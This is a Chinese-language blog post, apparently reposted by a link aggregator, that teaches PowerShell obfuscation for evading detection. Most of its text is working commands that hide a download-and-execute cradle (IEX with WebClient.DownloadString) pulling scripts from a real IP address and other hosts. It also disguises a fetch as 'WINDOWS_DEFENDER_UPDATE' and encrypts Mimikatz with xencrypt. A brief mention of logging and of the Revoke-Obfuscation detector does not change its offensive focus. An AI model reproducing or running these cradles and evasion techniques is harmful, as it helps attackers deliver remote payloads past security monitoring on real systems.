24

powershell代码混淆绕过

 3 years ago
source link: http://www.cnblogs.com/micr067/p/13172490.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

目前大多数攻击者已经将PowerShell 利用在了各种攻击场景中,如内网渗透,APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活,灵活使用powershell可以更加方便的管理windows。

1. cmd启动powershell

首先看看powershel使用cmd.exe启动执行代码的方式:

1.1 常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"

nEBvAnr.png!web

1.2 管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

fUfYFbf.png!web

1.3 利用环境变量

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'));

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)

yiMNRzF.png!web

在父进程中隐藏运行的代码:上面第二种方式运行时,如果使用进程查看,可以在父进程启动参数中cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -,看到你执行的代码,因为此时powershell -的父进程是第一个cmd.exe,所以可以使用cmd中的转义符号^将|转义后,如

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell -,第二个cmd后面对命令行来说是一个整体,然后执行cmd /c echo %cmd%|powershell -,此时powershell -的父进程就是第二个cmd了,看不到我们执行的代码了。

rEBBrau.png!web

1.4 从其他进程获取参数

首先启动多个cmd进程,这些进程参数中包含要执行的代码

cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"

然后在powershell中提取出来IEX (IWR https://7ell.me/power)执行,如:

cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"

1.5 从粘贴板

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

这些方法可以在powershell日志中看到,所以开启powershell的日志分析很重要。

但是,如果是混淆的,日志中也仅仅是记录了混淆后的东西。

2. 混淆

Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://182.92.120.156:10001/demo.ps1")

在混淆之前,先看看powershell获取环境变量的方式。

Get-Variable/GV/Variable cmd -ValueOnly

-ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V

nMFJnyf.png!web

(Get-Item/GI/Item Variable:cmd).Value

(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value

后面很多构造会用到这些方式的。

2.0 简单处理

Invoke-Expression (New-Object System.Net.WebClient).DownloadString(" http://abc.ltd/demo.ps1 ")

可以去掉System

Invoke-Expression (New-Object Net.WebClient).DownloadString(" http://abc.ltd/demo.ps1 ")

将http分开+号连接

Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://abc .ltd/demo.ps1 ")

IzMVZj7.png!web

变量代替

IEX $wc=New-Object Net.WebClient;$wc.DownloadString( "ht"+"tp://abc.ltd/demo.ps1" )

把downloadstring使用单双引号引起来

Invoke-Expression (New-Object Net.WebClient)."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

IvQjAf3.png!web

使用invoke方法

Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke("ht"+"tp://abc.ltd/demo.ps1")

$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke( "ht"+"tp://abc.ltd/demo.ps1" )

m2iUNfI.png!web

以上单双引号可以切换

2.1 转义符(反引号)

查看帮助Get-Help about_Escape_Characters

以下为 Windows PowerShell 能够识别的特殊字符:

ZjMjy2N.png!web

转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。

在DownloadString中使用转义符

Invoke-Expression (New-Object Net.WebClient)."Down`loadString"( "ht"+"tp://abc.ltd/demo.ps1" )

Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"( "ht"+"tp://abc.ltd/demo.ps1" )

Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"( "ht"+"tp://abc.ltd/demo.ps1" )

beyUfea.png!web

同样可以使用在Net.Webclient上

Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"( "ht"+"tp://abc.ltd/demo.ps1" )

括号代替空格,或者多个定义变量来连接替换

Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"( "ht"+"tp://abc.ltd/demo.ps1" )

$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"( "ht"+"tp://abc.ltd/demo.ps1" )

qUFrQrv.png!web

2.2 简写与通配符*

e.g :Get-Comamd New-Ob*

以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd 可简写为 GCM

&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct)

.(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct)

$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)

ieYfyem.png!web

结合其他方法混淆

Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

Ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"( "ht"+"tp://abc.ltd/demo.ps1" )

6BvUzan.png!web

2.3 脚本块

使用脚本块

Invoke-command{xxxx} ICM{xxxx} {xxxx}.invoke() &{xxxx} .{xxxx}

$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")

${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")

$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")

${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")

$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")

Scriptblock类方法,[Scriptblock]相当于[Type]("Scriptblock")

[Scriptblock]::Create("expression")

([Type]"Scriptblock")::create('expression')

[Scriptblock]::("Create").Invoke("expression")

([Type]("Scriptblock"))::("Create").Invoke("expression")

[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression")

([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")

可以构造出下面的式子混淆

(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( "ht"+"tp://abc.ltd/demo.ps1" ))

bYB7fiV.png!web

2.4 字符串处理

反转

$reverseCmd= ")'1sp.omed/dtl.cba.www//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";

1、IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX

2、$reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray);IEX ($reverseCmdCharArray-Join '') | IEX

3、IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX

vyQ3Uj3.png!web

分割截断 or 替换字符

$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('ht'+'tp://abc.ltd/demo.ps1')";

1、IEX ($cmdWithDelim.Split("~~") -Join '') | IEX

2、IEX $cmdWithDelim.Replace("~~","") | IEX

3、IEX ($cmdWithDelim-Replace "~~","") | IEX

7FBZBva.png!web

格式填充,-f 格式化。

//将NE download http://分别填到{0},{1},{2}

IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}a .ltd/demo.ps1 ")' -f 'Ne', 'Download','http://') | IEX

//示例2

.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2

}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','e','mo.ps1','/','abc.ltd/d','ht'))

uUJFNnE.png!web

变量拼接

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://abc.ltd/demo.ps1')";

1、IEX ($c1,$c2,$c3 -Join '') | IEX

2、IEX ($c1,$c3 -Join $c2) | IEX

3、IEX ([string]::Join($c2,$c1,$c3)) | IEX

4、IEX ([string]::Concat($c1,$c2,$c3)) | IEX

5、IEX ($c1+$c2+$c3) | IEX

6、IEX "$c1$c2$c3" | IEX

EbEjemr.png!web

2.5 编码

ASCII

使用[char]xx 代替字符 如:[char]59-->;

//不用分号

$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX

Base64

命令行参数使用

-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E

解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA

1、PS 2.0 -> [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')

2、PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')

.NET的方法

IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))

B3qI3mJ.png!web

其他不同的方式编码 hex/octal/binary/BXOR/etc.

[Convert]::ToString(1234, 2) // 二进制

[Convert]::ToString(1234, 8) // 八进制

[Convert]::ToString(1234, 16) // 十六进制

MjiuEnq.png!web

也是转换为16进制

"{0:X4}" -f 1234 小写: "{0:x4}" -f 1234

[Byte][Char]([Convert]::ToInt16($_,16))

($cmd.ToCharArray() | % {[int]$_}) -Join $delim //可以去掉空白 -Join$delim

$bytes[$i] = $bytes[$i] -BXOR 0x6A //可以去点空白 $bytes[$i]-BXOR0x6A)

SecureString

关于SecureString: Get-Comamnd *secure-string*

https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/

https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-2/

$secPwd= Read-Host "Enter password" -AsSecureString

$secPwd= "echo 123" | ConvertTo-SecureString -AsPlainText -Force

$secPwd| ConvertFrom-SecureString

ri2Qf2V.png!web

加密指定key

$cmd= "code"

$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force

$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

$secCmdPlaintext

e67ZfmM.png!web

解密

echo xxxx| ConvertTo-SecureString -Key (1..16)

示例

$cmd= "echo 123"

$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force

$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

运行

$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX

INnaa2Z.png!web

2.6 自构造关键字替换

就是在其他命令的输出下查看观察目标字符串位置,然后提取出来。比如DownlaodString的构造替换

DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)

IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://abc.me/')

再结合get-command的变形

IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://abc.me/')

yuQ7Jfn.png!web

根据这样的思路结合上面提到的获取环境变量方法,可以把New-Object层层混淆为

(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)

In2Qrqq.png!web

3. IEX 的处理与其他执行方法

经过上面构造可以看到很多都使用Invoke-Expression/IEX命令,.,&符号来执行表达式。

Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。

这里也先看看代替IEX的各种执行方式

Get-Alias/GAL

&(GAL I*X)

.(LS Alias:/I*X)

Get-Command/GCM

.(GCM I*e-E*)

&(Command I*e-E*)

GetCmdlets (PS1.0+),

$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'),

//用到环境变量

&(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')

InvokeScript (PS1.0+)

$ExecutionContext.InvokeCommand.InvokeScript($Script)

(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),

Invoke-Command/ICM

Invoke-Command ([ScriptBlock]::Create($Script))

[ScriptBlock]::Create($Script).Invoke()

.((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))

PS Runspace

[PowerShell]::Create().AddScript($Script).Invoke()

Invoke-AsWorkflow (PS3.0+)

Invoke-AsWorkflow -Expression $Script

提取串联出IEX,也是在其他命令的输出下查看观察目标字符串位置,然后提取出来。

($Env:ComSpec[4,26,25]-Join'')

((LS env:/Co*pec).Value[4,26,25]-Join'')

($ShellId[1]+$ShellId[13]+'x')

((GV S*ell*d -Va)[1]+(DIR Variable:\S*ell*d).Value[13]+'x')

( ([String]''.IndexOf)[0,7,8]-Join'')

//怎么构造?,比如上面这个 首先查看''|Get-Member有个IndexOf方法,然后看看[String]''.IndexOf的输出,提取出里面的IEX字母

4. 相关工具

4.1 Invoke-Obfuscation

这是一个powershell混淆编码框架,基本涵盖了上述的各种混淆方法,

GitHub: https://github.com/danielbohannon/Invoke-Obfuscation

使用方法: http://www.freebuf.com/sectool/136328.html

4.2 Revoke-Obfuscation

这是一个powershell混淆检测框架,该工具能给出一个脚本是否混淆的

GitHub: https://github.com/danielbohannon/Revoke-Obfuscation

使用方法: https://javascript.ctolib.com/danielbohannon-Revoke-Obfuscation.html

4.3 xencrypt

powershell混淆加密工具

GitHub: https://github.com/the-xentropy/xencrypt

使用方法:

Import-Module ./xencrypt.ps1 Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK